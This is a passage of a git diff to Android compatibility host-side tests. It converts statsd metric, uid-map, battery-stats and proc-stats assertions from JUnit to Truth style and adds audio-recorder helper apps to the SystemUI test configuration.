- assertTrue("Bucket info did not have either bucket num or start and end elapsed millis",
- found);
+ assertWithMessage(
+ "Bucket info did not have either bucket num or start and end elapsed millis"
+ ).that(found).isTrue();
}
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
index 25c06e3..2b2eee7 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/ValueMetricsTests.java
@@ -94,22 +94,22 @@
StatsLogReport metricReport = getStatsLogReport();
LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
- assertEquals(MetricsUtils.VALUE_METRIC_ID, metricReport.getMetricId());
- assertTrue(metricReport.hasValueMetrics());
+ assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
+ assertThat(metricReport.hasValueMetrics()).isTrue();
StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
- assertEquals(1, valueData.getDataCount());
+ assertThat(valueData.getDataCount()).isEqualTo(1);
int bucketCount = valueData.getData(0).getBucketInfoCount();
- assertTrue(bucketCount > 1);
+ assertThat(bucketCount).isGreaterThan(1);
ValueMetricData data = valueData.getData(0);
int totalValue = 0;
for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
MetricsUtils.assertBucketTimePresent(bucketInfo);
- assertEquals(1, bucketInfo.getValuesCount());
- assertEquals(0, bucketInfo.getValues(0).getIndex());
+ assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
+ assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
totalValue += (int) bucketInfo.getValues(0).getValueLong();
}
- assertEquals(8, totalValue);
+ assertThat(totalValue).isEqualTo(8);
}
// Test value metric with pulled atoms and across multiple buckets
@@ -172,24 +172,24 @@
StatsLogReport metricReport = getStatsLogReport();
LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
- assertEquals(MetricsUtils.VALUE_METRIC_ID, metricReport.getMetricId());
- assertTrue(metricReport.hasValueMetrics());
+ assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
+ assertThat(metricReport.hasValueMetrics()).isTrue();
StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
- assertEquals(valueData.getDataCount(), 1);
+ assertThat(valueData.getDataCount()).isEqualTo(1);
int bucketCount = valueData.getData(0).getBucketInfoCount();
// should have at least 2 buckets
- assertTrue(bucketCount >= 2);
+ assertThat(bucketCount).isAtLeast(2);
ValueMetricData data = valueData.getData(0);
int totalValue = 0;
for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
MetricsUtils.assertBucketTimePresent(bucketInfo);
- assertEquals(1, bucketInfo.getValuesCount());
- assertEquals(0, bucketInfo.getValues(0).getIndex());
+ assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
+ assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
totalValue += (int) bucketInfo.getValues(0).getValueLong();
}
// At most we lose one full min bucket
- assertTrue(totalValue > (130_000 - 60_000));
+ assertThat(totalValue).isGreaterThan(130_000 - 60_000);
}
// Test value metric with pulled atoms and across multiple buckets
@@ -256,24 +256,24 @@
StatsLogReport metricReport = getStatsLogReport();
LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
- assertEquals(MetricsUtils.VALUE_METRIC_ID, metricReport.getMetricId());
- assertTrue(metricReport.hasValueMetrics());
+ assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
+ assertThat(metricReport.hasValueMetrics()).isTrue();
StatsLogReport.ValueMetricDataWrapper valueData = metricReport.getValueMetrics();
- assertEquals(valueData.getDataCount(), 1);
+ assertThat(valueData.getDataCount()).isEqualTo(1);
int bucketCount = valueData.getData(0).getBucketInfoCount();
// should have at least 2 buckets
- assertTrue(bucketCount >= 2);
+ assertThat(bucketCount).isAtLeast(2);
ValueMetricData data = valueData.getData(0);
int totalValue = 0;
for (ValueBucketInfo bucketInfo : data.getBucketInfoList()) {
MetricsUtils.assertBucketTimePresent(bucketInfo);
- assertEquals(1, bucketInfo.getValuesCount());
- assertEquals(0, bucketInfo.getValues(0).getIndex());
+ assertThat(bucketInfo.getValuesCount()).isEqualTo(1);
+ assertThat(bucketInfo.getValues(0).getIndex()).isEqualTo(0);
totalValue += (int) bucketInfo.getValues(0).getValueLong();
}
// At most we lose one full min bucket
- assertTrue(totalValue > (GAP_INTERVAL*NUM_EVENTS - 60_000));
+ assertThat((long) totalValue).isGreaterThan(GAP_INTERVAL * NUM_EVENTS - 60_000);
}
// Test value metric with pulled atoms and across multiple buckets
@@ -329,8 +329,8 @@
StatsLogReport metricReport = getStatsLogReport();
LogUtil.CLog.d("Got the following value metric data: " + metricReport.toString());
- assertEquals(MetricsUtils.VALUE_METRIC_ID, metricReport.getMetricId());
- assertFalse(metricReport.hasValueMetrics());
+ assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.VALUE_METRIC_ID);
+ assertThat(metricReport.hasValueMetrics()).isFalse();
}
public void testValueMetricWithConditionAndActivation() throws Exception {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java b/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
index f8aa3b7..f239f0e 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/subscriber/ShellSubscriberTest.java
@@ -15,6 +15,8 @@
*/
package android.cts.statsd.subscriber;
+import static com.google.common.truth.Truth.assertThat;
+
import com.android.compatibility.common.util.CpuFeatures;
import com.android.internal.os.StatsdConfigProto;
import com.android.os.AtomsProto;
@@ -79,7 +81,7 @@
startSubscription(config, receiver, 10);
byte[] output = receiver.getOutput();
// There should be at lease some data returned.
- assertTrue(output.length > sizetBytes);
+ assertThat(output.length).isGreaterThan(sizetBytes);
int atomCount = 0;
int i = 0;
@@ -98,8 +100,8 @@
ShellDataProto.ShellData data =
ShellDataProto.ShellData.parseFrom(
Arrays.copyOfRange(output, i + sizetBytes, i + sizetBytes + len));
- assertTrue(data.getAtomCount() > 0);
- assertTrue(data.getAtom(0).hasSystemUptime());
+ assertThat(data.getAtomCount()).isGreaterThan(0);
+ assertThat(data.getAtom(0).hasSystemUptime()).isTrue();
atomCount++;
LogUtil.CLog.d("Received " + data.toString());
} catch (InvalidProtocolBufferException e) {
@@ -108,7 +110,7 @@
i += (sizetBytes + len);
}
- assertTrue(atomCount > 0);
+ assertThat(atomCount).isGreaterThan(0);
}
private void startSubscription(ShellConfig.ShellSubscription config,
diff --git a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
index bf599d3..dab7f0f 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/uidmap/UidMapTests.java
@@ -15,7 +15,7 @@
*/
package android.cts.statsd.uidmap;
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
import android.cts.statsd.atom.DeviceAtomTestCase;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
@@ -40,15 +40,15 @@
createAndUploadConfig(AtomsProto.Atom.UID_PROCESS_STATE_CHANGED_FIELD_NUMBER);
ConfigMetricsReportList reports = getReportList();
- assertTrue(reports.getReportsCount() > 0);
+ assertThat(reports.getReportsCount()).isGreaterThan(0);
for (ConfigMetricsReport report : reports.getReportsList()) {
UidMapping uidmap = report.getUidMap();
- assertTrue(uidmap.getSnapshotsCount() > 0);
+ assertThat(uidmap.getSnapshotsCount()).isGreaterThan(0);
for (PackageInfoSnapshot snapshot : uidmap.getSnapshotsList()) {
// There must be at least one element in each snapshot (at least one package is
// installed).
- assertTrue(snapshot.getPackageInfoCount() > 0);
+ assertThat(snapshot.getPackageInfoCount()).isGreaterThan(0);
}
}
}
@@ -81,7 +81,7 @@
Thread.sleep(WAIT_TIME_SHORT);
ConfigMetricsReportList reports = getReportList();
- assertTrue(reports.getReportsCount() > 0);
+ assertThat(reports.getReportsCount()).isGreaterThan(0);
boolean found = false;
int uid = getUid();
@@ -91,7 +91,7 @@
found = true;
}
}
- assertTrue(found);
+ assertThat(found).isTrue();
}
// We check that a re-installation gives a change event (similar to an app upgrade).
@@ -108,7 +108,7 @@
Thread.sleep(WAIT_TIME_SHORT);
ConfigMetricsReportList reports = getReportList();
- assertTrue(reports.getReportsCount() > 0);
+ assertThat(reports.getReportsCount()).isGreaterThan(0);
boolean found = false;
int uid = getUid();
@@ -118,7 +118,7 @@
found = true;
}
}
- assertTrue(found);
+ assertThat(found).isTrue();
}
public void testChangeFromUninstall() throws Exception {
@@ -134,7 +134,7 @@
Thread.sleep(WAIT_TIME_SHORT);
ConfigMetricsReportList reports = getReportList();
- assertTrue(reports.getReportsCount() > 0);
+ assertThat(reports.getReportsCount()).isGreaterThan(0);
boolean found = false;
for (ConfigMetricsReport report : reports.getReportsList()) {
@@ -143,6 +143,6 @@
found = true;
}
}
- assertTrue(found);
+ assertThat(found).isTrue();
}
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
index 6369470..9aafbad 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/BatteryStatsValidationTests.java
@@ -15,8 +15,8 @@
*/
package android.cts.statsd.validation;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
import android.cts.statsd.atom.DeviceAtomTestCase;
import android.os.BatteryStatsProto;
@@ -72,11 +72,11 @@
BatteryStatsProto batterystatsProto = getBatteryStatsProto();
List<CountMetricData> countMetricData = getCountMetricDataList();
- assertEquals(1, countMetricData.size());
- assertEquals(1, countMetricData.get(0).getBucketInfoCount());
- assertTrue(countMetricData.get(0).getBucketInfo(0).getCount() >= 2);
- assertEquals(batterystatsProto.getSystem().getMisc().getNumConnectivityChanges(),
- countMetricData.get(0).getBucketInfo(0).getCount());
+ assertThat(countMetricData).hasSize(1);
+ assertThat(countMetricData.get(0).getBucketInfoCount()).isEqualTo(1);
+ assertThat(countMetricData.get(0).getBucketInfo(0).getCount()).isAtLeast(2L);
+ assertThat(countMetricData.get(0).getBucketInfo(0).getCount()).isEqualTo(
+ (long) batterystatsProto.getSystem().getMisc().getNumConnectivityChanges());
}
*/
@@ -107,80 +107,16 @@
// Extract statsd data
Atom atom = atomList.get(0);
long statsdPowerNas = atom.getDeviceCalculatedPowerUse().getComputedPowerNanoAmpSecs();
- assertTrue("Statsd: Non-positive power value.", statsdPowerNas > 0);
+ assertThat(statsdPowerNas).isGreaterThan(0L);
// Extract BatteryStats data
double bsPowerNas = batterystatsProto.getSystem().getPowerUseSummary().getComputedPowerMah()
* 1_000_000L * 3600L; /* mAh to nAs */
- assertTrue("BatteryStats: Non-positive power value.", bsPowerNas > 0);
+ assertThat(bsPowerNas).isGreaterThan(0d);
- assertTrue(
- String.format("Statsd (%d) < Batterystats (%f)", statsdPowerNas, bsPowerNas),
- statsdPowerNas > ALLOWED_FRACTIONAL_DIFFERENCE * bsPowerNas);
- assertTrue(
- String.format("Batterystats (%f) < Statsd (%d)", bsPowerNas, statsdPowerNas),
- bsPowerNas > ALLOWED_FRACTIONAL_DIFFERENCE * statsdPowerNas);
- }
-
- public void testPowerBlameUid() throws Exception {
- if (statsdDisabled()) {
- return;
- }
- if (!hasFeature(FEATURE_LEANBACK_ONLY, false)) return;
- resetBatteryStats();
- unplugDevice();
-
- final double ALLOWED_FRACTIONAL_DIFFERENCE = 0.8; // ratio that statsd and bs can differ
-
- StatsdConfig.Builder config = getPulledConfig();
- addGaugeAtomWithDimensions(config, Atom.DEVICE_CALCULATED_POWER_BLAME_UID_FIELD_NUMBER,
- null);
- uploadConfig(config);
- unplugDevice();
-
- Thread.sleep(WAIT_TIME_LONG);
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testSimpleCpu");
- Thread.sleep(WAIT_TIME_LONG);
-
- setAppBreadcrumbPredicate();
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
- Thread.sleep(WAIT_TIME_LONG);
- List<Atom> atomList = getGaugeMetricDataList();
-
- // Extract statsd data
- boolean uidFound = false;
- int uid = getUid();
- long statsdUidPowerNas = 0;
- for (Atom atom : atomList) {
- DeviceCalculatedPowerBlameUid item = atom.getDeviceCalculatedPowerBlameUid();
- if (item.getUid() == uid) {
- assertFalse("Found multiple power values for uid " + uid, uidFound);
- uidFound = true;
- statsdUidPowerNas = item.getPowerNanoAmpSecs();
- }
- }
- assertTrue("Statsd: No power value for uid " + uid, uidFound);
- assertTrue("Statsd: Non-positive power value for uid " + uid, statsdUidPowerNas > 0);
-
- // Extract batterystats data
- double bsUidPowerNas = -1;
- boolean hadUid = false;
- for (UidProto uidProto : batterystatsProto.getUidsList()) {
- if (uidProto.getUid() == uid) {
- hadUid = true;
- bsUidPowerNas = uidProto.getPowerUseItem().getComputedPowerMah()
- * 1_000_000L * 3600L; /* mAh to nAs */;
- }
- }
- assertTrue("Batterystats: No power value for uid " + uid, hadUid);
- assertTrue("BatteryStats: Non-positive power value for uid " + uid, bsUidPowerNas > 0);
-
- assertTrue(
- String.format("Statsd (%d) < Batterystats (%f).", statsdUidPowerNas, bsUidPowerNas),
- statsdUidPowerNas > ALLOWED_FRACTIONAL_DIFFERENCE * bsUidPowerNas);
- assertTrue(
- String.format("Batterystats (%f) < Statsd (%d).", bsUidPowerNas, statsdUidPowerNas),
- bsUidPowerNas > ALLOWED_FRACTIONAL_DIFFERENCE * statsdUidPowerNas);
+ assertThat((double) statsdPowerNas)
+ .isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * bsPowerNas);
+ assertThat(bsPowerNas).isGreaterThan(ALLOWED_FRACTIONAL_DIFFERENCE * statsdPowerNas);
}
public void testServiceStartCount() throws Exception {
@@ -195,16 +131,17 @@
BatteryStatsProto batterystatsProto = getBatteryStatsProto();
List<CountMetricData> countMetricData = getCountMetricDataList();
- assertTrue(countMetricData.size() > 0);
+ assertThat(countMetricData).isNotEmpty();
int uid = getUid();
long countFromStatsd = 0;
for (CountMetricData data : countMetricData) {
List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
if (dims.get(0).getValueInt() == uid) {
- assertEquals(DEVICE_SIDE_TEST_PACKAGE, dims.get(1).getValueStr());
- assertEquals(dims.get(2).getValueStr(), DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
+ assertThat(dims.get(1).getValueStr()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
+ assertThat(dims.get(2).getValueStr())
+ .isEqualTo(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
countFromStatsd = data.getBucketInfo(0).getCount();
- assertTrue(countFromStatsd > 0);
+ assertThat(countFromStatsd).isGreaterThan(0L);
}
}
long countFromBS = 0;
@@ -215,16 +152,16 @@
for (Service svc : pkg.getServicesList()) {
if (svc.getName().equals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME)) {
countFromBS = svc.getStartCount();
- assertTrue(countFromBS > 0);
+ assertThat(countFromBS).isGreaterThan(0L);
}
}
}
}
}
}
- assertTrue(countFromStatsd > 0);
- assertTrue(countFromBS > 0);
- assertEquals(countFromBS, countFromStatsd);
+ assertThat(countFromStatsd).isGreaterThan(0L);
+ assertThat(countFromBS).isGreaterThan(0L);
+ assertThat(countFromBS).isEqualTo(countFromStatsd);
}
public void testServiceLaunchCount() throws Exception {
@@ -239,16 +176,17 @@
BatteryStatsProto batterystatsProto = getBatteryStatsProto();
List<CountMetricData> countMetricData = getCountMetricDataList();
- assertTrue(countMetricData.size() > 0);
+ assertThat(countMetricData).isNotEmpty();
int uid = getUid();
long countFromStatsd = 0;
for (CountMetricData data : countMetricData) {
List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
if (dims.get(0).getValueInt() == uid) {
- assertEquals(DEVICE_SIDE_TEST_PACKAGE, dims.get(1).getValueStr());
- assertEquals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME, dims.get(2).getValueStr());
+ assertThat(dims.get(1).getValueStr()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
+ assertThat(dims.get(2).getValueStr())
+ .isEqualTo(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME);
countFromStatsd = data.getBucketInfo(0).getCount();
- assertTrue(countFromStatsd > 0);
+ assertThat(countFromStatsd).isGreaterThan(0L);
}
}
long countFromBS = 0;
@@ -259,15 +197,15 @@
for (Service svc : pkg.getServicesList()) {
if (svc.getName().equals(DEVICE_SIDE_TEST_FOREGROUND_SERVICE_NAME)) {
countFromBS = svc.getLaunchCount();
- assertTrue(countFromBS > 0);
+ assertThat(countFromBS).isGreaterThan(0L);
}
}
}
}
}
}
- assertTrue(countFromStatsd > 0);
- assertTrue(countFromBS > 0);
- assertEquals(countFromBS, countFromStatsd);
+ assertThat(countFromStatsd).isGreaterThan(0L);
+ assertThat(countFromBS).isGreaterThan(0L);
+ assertThat(countFromBS).isEqualTo(countFromStatsd);
}
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
index cfa0a37..9cb198c 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ProcStatsValidationTests.java
@@ -15,7 +15,7 @@
*/
package android.cts.statsd.validation;
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
import android.cts.statsd.atom.ProcStateTestCase;
import android.service.procstats.ProcessState;
@@ -113,8 +113,8 @@
}
}
// Verify that duration is within 1% difference
- assertTrue(Math.abs(durationInTopStatsd - durationInTopProcStats) / durationInTopProcStats
- < 0.1);
+ assertThat(Math.abs(durationInTopStatsd - durationInTopProcStats) / durationInTopProcStats)
+ .isLessThan(0.01);
}
public void testProcessStateCachedEmptyDuration() throws Exception {
@@ -178,8 +178,8 @@
}
}
// Verify that duration is within 1% difference
- assertTrue(Math.abs(durationInStatsd - durationInProcStats) / durationInProcStats
- < 0.1);
+ assertThat(Math.abs(durationInStatsd - durationInProcStats) / durationInProcStats)
+ .isLessThan(0.01);
}
public void testProcessStatePssValue() throws Exception {
@@ -240,8 +240,8 @@
}
}
}
- assertTrue(valueInProcStats > 0);
- assertTrue(valueInStatsd == valueInProcStats);
+ assertThat(valueInProcStats).isGreaterThan(0d);
+ assertThat(valueInStatsd).isWithin(1e-10).of(valueInProcStats);
}
public void testProcessStateByPulling() throws Exception {
@@ -342,11 +342,11 @@
}
LogUtil.CLog.d("avg pss from procstats is " + pssAvgProcstats);
- assertTrue(durationStatsd > 0);
- assertTrue(durationStatsd == durationProcstats);
- assertTrue(pssAvgStatsd == pssAvgProcstats);
- assertTrue(ussAvgStatsd == ussAvgProcstats);
- assertTrue(rssAvgStatsd == rssAvgProcstats);
+ assertThat(durationStatsd).isGreaterThan(0L);
+ assertThat(durationStatsd).isEqualTo(durationProcstats);
+ assertThat(pssAvgStatsd).isEqualTo(pssAvgProcstats);
+ assertThat(ussAvgStatsd).isEqualTo(ussAvgProcstats);
+ assertThat(rssAvgStatsd).isEqualTo(rssAvgProcstats);
}
public void testProcStatsPkgProcStats() throws Exception {
@@ -390,8 +390,11 @@
Thread.sleep(WAIT_TIME_SHORT);
List<Atom> statsdData = getGaugeMetricDataList();
- assertTrue(statsdData.size() > 0);
- assertTrue(statsdData.get(0).getProcStatsPkgProc().getProcStatsSection().getAvailablePagesList().size() > 0);
+ assertThat(statsdData).isNotEmpty();
+ assertThat(
+ statsdData.get(0).getProcStatsPkgProc().getProcStatsSection()
+ .getAvailablePagesList()
+ ).isNotEmpty();
List<ProcessStatsPackageProto> processStatsPackageProtoList = getAllProcStatsProto();
@@ -421,8 +424,8 @@
}
}
}
- assertTrue(pkg.getServiceStatsCount() == 0);
- assertTrue(pkg.getAssociationStatsCount() == 0);
+ assertThat(pkg.getServiceStatsCount()).isEqualTo(0L);
+ assertThat(pkg.getAssociationStatsCount()).isEqualTo(0L);
}
}
@@ -453,14 +456,14 @@
serviceStatsCount += pkg.getServiceStatsCount();
associationStatsCount += pkg.getAssociationStatsCount();
}
- assertTrue(serviceStatsCount > 0);
- assertTrue(associationStatsCount > 0);
+ assertThat(serviceStatsCount).isGreaterThan(0);
+ assertThat(associationStatsCount).isGreaterThan(0);
LogUtil.CLog.d("avg pss from procstats is " + pssAvgProcstats);
- assertTrue(durationStatsd > 0);
- assertTrue(durationStatsd == durationProcstats);
- assertTrue(pssAvgStatsd == pssAvgProcstats);
- assertTrue(ussAvgStatsd == ussAvgProcstats);
- assertTrue(rssAvgStatsd == rssAvgProcstats);
+ assertThat(durationStatsd).isGreaterThan(0L);
+ assertThat(durationStatsd).isEqualTo(durationProcstats);
+ assertThat(pssAvgStatsd).isEqualTo(pssAvgProcstats);
+ assertThat(ussAvgStatsd).isEqualTo(ussAvgProcstats);
+ assertThat(rssAvgStatsd).isEqualTo(rssAvgProcstats);
}
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
index ae40111..d4815b4 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
@@ -15,7 +15,8 @@
*/
package android.cts.statsd.validation;
-import static org.junit.Assert.assertTrue;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
import android.cts.statsd.atom.DeviceAtomTestCase;
import android.os.BatteryPluggedStateEnum;
@@ -48,6 +49,8 @@
import com.android.os.StatsLog.StatsLogReport;
import com.android.tradefed.log.LogUtil.CLog;
+import com.google.common.collect.Range;
+
import java.util.Arrays;
import java.util.HashMap;
import java.util.HashSet;
@@ -118,10 +121,8 @@
for (EventMetricData event : data) {
String tag = event.getAtom().getWakelockStateChanged().getTag();
WakeLockLevelEnum type = event.getAtom().getWakelockStateChanged().getType();
- assertTrue("Expected tag: " + EXPECTED_TAG + ", but got tag: " + tag,
- tag.equals(EXPECTED_TAG));
- assertTrue("Expected wakelock level: " + EXPECTED_LEVEL + ", but got level: " + type,
- type == EXPECTED_LEVEL);
+ assertThat(tag).isEqualTo(EXPECTED_TAG);
+ assertThat(type).isEqualTo(EXPECTED_LEVEL);
}
//=================== verify that batterystats is correct ===============//
@@ -129,12 +130,10 @@
android.os.TimerProto wl =
getBatteryStatsPartialWakelock(batterystatsProto, uid, EXPECTED_TAG);
- assertNotNull(wl);
- assertTrue(wl.getDurationMs() > 0);
- assertTrue(wl.getMaxDurationMs() >= 400);
- assertTrue(wl.getMaxDurationMs() < 700);
- assertTrue(wl.getTotalDurationMs() >= 400);
- assertTrue(wl.getTotalDurationMs() < 700);
+ assertThat(wl).isNotNull();
+ assertThat(wl.getDurationMs()).isGreaterThan(0L);
+ assertThat(wl.getMaxDurationMs()).isIn(Range.closedOpen(400L, 700L));
+ assertThat(wl.getTotalDurationMs()).isIn(Range.closedOpen(400L, 700L));
setAodState(aodState); // restores AOD to initial state.
}
@@ -174,36 +173,34 @@
// Get the batterystats wakelock time and make sure it's reasonable.
android.os.TimerProto bsWakelock =
getBatteryStatsPartialWakelock(batterystatsProto, EXPECTED_UID, EXPECTED_TAG);
- assertNotNull("Could not find any partial wakelocks with uid " + EXPECTED_UID +
- " and tag " + EXPECTED_TAG + " in BatteryStats", bsWakelock);
+ assertWithMessage(
+ "No partial wakelocks with uid %s and tag %s in BatteryStats",
+ EXPECTED_UID, EXPECTED_TAG
+ ).that(bsWakelock).isNotNull();
long bsDurationMs = bsWakelock.getTotalDurationMs();
- assertTrue("Wakelock in batterystats with uid " + EXPECTED_UID + " and tag "
- + EXPECTED_TAG + "was too short. Expected " + MIN_DURATION +
- ", received " + bsDurationMs, bsDurationMs >= MIN_DURATION);
- assertTrue("Wakelock in batterystats with uid " + EXPECTED_UID + " and tag "
- + EXPECTED_TAG + "was too long. Expected " + MAX_DURATION +
- ", received " + bsDurationMs, bsDurationMs <= MAX_DURATION);
+ assertWithMessage(
+ "Wakelock in batterystats with uid %s and tag %s was too short or too long",
+ EXPECTED_UID, EXPECTED_TAG
+ ).that(bsDurationMs).isIn(Range.closed((long) MIN_DURATION, (long) MAX_DURATION));
// Get the statsd wakelock time and make sure it's reasonable.
- assertTrue("Could not find any wakelocks with uid " + EXPECTED_UID + " in statsd",
- statsdWakelockData.containsKey(EXPECTED_UID));
- assertTrue("Did not find any wakelocks with tag " + EXPECTED_TAG + " in statsd",
- statsdWakelockData.get(EXPECTED_UID).containsKey(EXPECTED_TAG_HASH));
+ assertWithMessage("No wakelocks with uid %s in statsd", EXPECTED_UID)
+ .that(statsdWakelockData).containsKey(EXPECTED_UID);
+ assertWithMessage("No wakelocks with tag %s in statsd", EXPECTED_TAG)
+ .that(statsdWakelockData.get(EXPECTED_UID)).containsKey(EXPECTED_TAG_HASH);
long statsdDurationMs = statsdWakelockData.get(EXPECTED_UID)
.get(EXPECTED_TAG_HASH) / 1_000_000;
- assertTrue("Wakelock in statsd with uid " + EXPECTED_UID + " and tag " + EXPECTED_TAG +
- "was too short. Expected " + MIN_DURATION + ", received " +
- statsdDurationMs,
- statsdDurationMs >= MIN_DURATION);
- assertTrue("Wakelock in statsd with uid " + EXPECTED_UID + " and tag " + EXPECTED_TAG +
- "was too long. Expected " + MAX_DURATION + ", received " + statsdDurationMs,
- statsdDurationMs <= MAX_DURATION);
+ assertWithMessage(
+ "Wakelock in statsd with uid %s and tag %s was too short or too long",
+ EXPECTED_UID, EXPECTED_TAG
+ ).that(statsdDurationMs).isIn(Range.closed((long) MIN_DURATION, (long) MAX_DURATION));
// Compare batterystats with statsd.
long difference = Math.abs(statsdDurationMs - bsDurationMs);
- assertTrue("For uid=" + EXPECTED_UID + " tag=" + EXPECTED_TAG + " had " +
- "BatteryStats=" + bsDurationMs + "ms but statsd=" + statsdDurationMs + "ms",
- difference <= Math.max(bsDurationMs / 10, 10L));
+ assertWithMessage(
+ "For uid=%s tag=%s had BatteryStats=%s ms but statsd=%s ms",
+ EXPECTED_UID, EXPECTED_TAG, bsDurationMs, statsdDurationMs
+ ).that(difference).isAtMost(Math.max(bsDurationMs / 10, 10L));
setAodState(aodState); // restores AOD to initial state.
}
@@ -304,7 +301,7 @@
for (DurationMetricData data : report.getDurationMetrics().getDataList()) {
// Gets tag and uid.
List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
- assertTrue("Expected 2 dimensions, received " + dims.size(), dims.size() == 2);
+ assertThat(dims).hasSize(2);
boolean hasTag = false;
long tag = 0;
int uid = -1;
@@ -317,8 +314,8 @@
tag = dim.getValueStrHash();
}
}
- assertTrue("Did not receive a tag for the wakelock", hasTag);
- assertTrue("Did not receive a uid for the wakelock", uid != -1);
+ assertWithMessage("Did not receive a tag for the wakelock").that(hasTag).isTrue();
+ assertWithMessage("Did not receive a uid for the wakelock").that(uid).isNotEqualTo(-1);
// Gets duration.
for (DurationBucketInfo bucketInfo : data.getBucketInfoList()) {
diff --git a/hostsidetests/systemui/AndroidTest.xml b/hostsidetests/systemui/AndroidTest.xml
index baeb90d..1fa4c74 100644
--- a/hostsidetests/systemui/AndroidTest.xml
+++ b/hostsidetests/systemui/AndroidTest.xml
@@ -18,9 +18,12 @@
<option name="config-descriptor:metadata" key="component" value="sysui" />
<option name="config-descriptor:metadata" key="parameter" value="instant_app" />
<option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+ <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
<target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
<option name="cleanup-apks" value="true" />
<option name="test-file-name" value="CtsSystemUiDeviceApp.apk" />
+ <option name="test-file-name" value="CtsSystemUiDeviceAudioRecorderAppAudioRecord.apk" />
+ <option name="test-file-name" value="CtsSystemUiDeviceAudioRecorderAppMediaRecorder.apk" />
</target_preparer>
<test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
<option name="jar" value="CtsSystemUiHostTestCases.jar" />
diff --git a/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp b/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp
new file mode 100644
index 0000000..c4848e8
--- /dev/null
+++ b/hostsidetests/systemui/audiorecorder_app_audiorecord/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+ name: "CtsSystemUiDeviceAudioRecorderAppAudioRecord",
+ static_libs: ["CtsSystemUiDeviceAudioRecorderBase"],
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ // tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
